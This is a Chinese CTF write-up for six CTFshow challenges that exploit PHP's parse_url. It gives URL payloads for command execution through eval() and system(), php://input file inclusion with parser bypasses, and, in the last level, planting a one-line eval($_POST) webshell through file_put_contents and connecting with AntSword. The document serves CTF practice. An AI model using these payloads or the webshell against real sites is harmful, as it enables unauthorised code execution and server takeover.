CTFSHOW_周末大挑战

第一关

$data = parse_url($_GET['u']);
eval($data['host']);

这里呢先了解parse_url是干啥的

在这里插入图片描述

对照

在这里插入图片描述

只要知道了他每个数组对应的位置在哪里就好了

这里呢可以rce的

?u=//system(‘ls’);/

不过呢发现www目录下没有flag,只能往前面找,但是不可以由/,加了的话自动默认后面的是path了

在这里插入图片描述

所以搞一个命令拼接,利用;

?u=//system('cd … ; cd … ; cd … ; ls ');/

这样的话就可以看到根目录了

然后ls改成tac 就可以读取flag了

?u=//system(‘cd … ; cd … ; cd … ; tac flag_is_here.txt’);/

第二关

$data = parse_url($_GET['u']);
include $data['host'].$data['path'];

这里面有个include函数,所以我们可以使用文件包含

在这里插入图片描述

可以直接?u=//php:: //input 本来是只有一个冒号的,但是这里面会默认最后一个冒号后面是端口port,所以加一个绕过

在这里插入图片描述

然后直接rce即可

第三关

$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];

这里的scheme跟前面的表对比发现是个头(这里冒号后面不是//自动默认后面是path而不是host)

所以构造?u=php:: //input

这里这个payload是我在本地试了几次试出来的

在这里插入图片描述

然后直接rce即可

第四题


$data = parse_url($_GET['u']);
system($data['host']);

这里完全可以参考第一题的思路,直接就是system了都不用你再写了

?u=//cd … ; cd … ; cd … ; ls

发现flag文件后

?u=//cd … ; cd … ; cd … ; tac 1_f1ag_1s_h3re

第五题

extract(parse_url($_GET['u']));
include $$$$$$host;

这里呢还是include所以理论上还是要构造php://input

这里呢有个$$$$$$host

刚好可以借助这个例子

在这里插入图片描述

浅浅来构造一下
$host=scheme
$$host=$scheme=user
$$$host=$$scheme=$user=pass
$$$$host=$$$scheme=$$user=$pass=querry
$$$$$host=$$$$scheme=$$$user=$$pass=$query=fragment
$$$$$$host=$$$$$scheme=$$$$user=$$$pass=$$query=$fragment=#php://input
user://pass:querry@scheme/666?fragment#php://input

在url中#相当于截断了,所以呢这里需要转义%23

user://pass:query@scheme/666?fragment%23php://input

在这里插入图片描述

然后直接rce即可

第六关

$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);

在这里插入图片描述

看函数,第一个是文件名,第二个是你要写进去的字符串

?u=// /var/www/html/flag.php

因为path前面必有一个/,所以我们从根目录写起

本来是想直接一句话的,结果没想到他这里面过滤了问号,卡了我好久

后面发现一句话的问号只是存在于他的标签之中,那如果我们用长标签的话岂不是就可以上马了

<script language="php"> eval($_POST[1]); </script>

加到前面就是?u=// <script language="php"> eval($_POST[1]); /var/www/html/flag.php

php中标签可以只写前面,后面可以省略,这里省略是因为由/,会影响原定的path

然后直接连蚁剑即可

在这里插入图片描述

这里的flag是我自己传的,真正的flag在根目录里

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

树脂与鸡脚

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值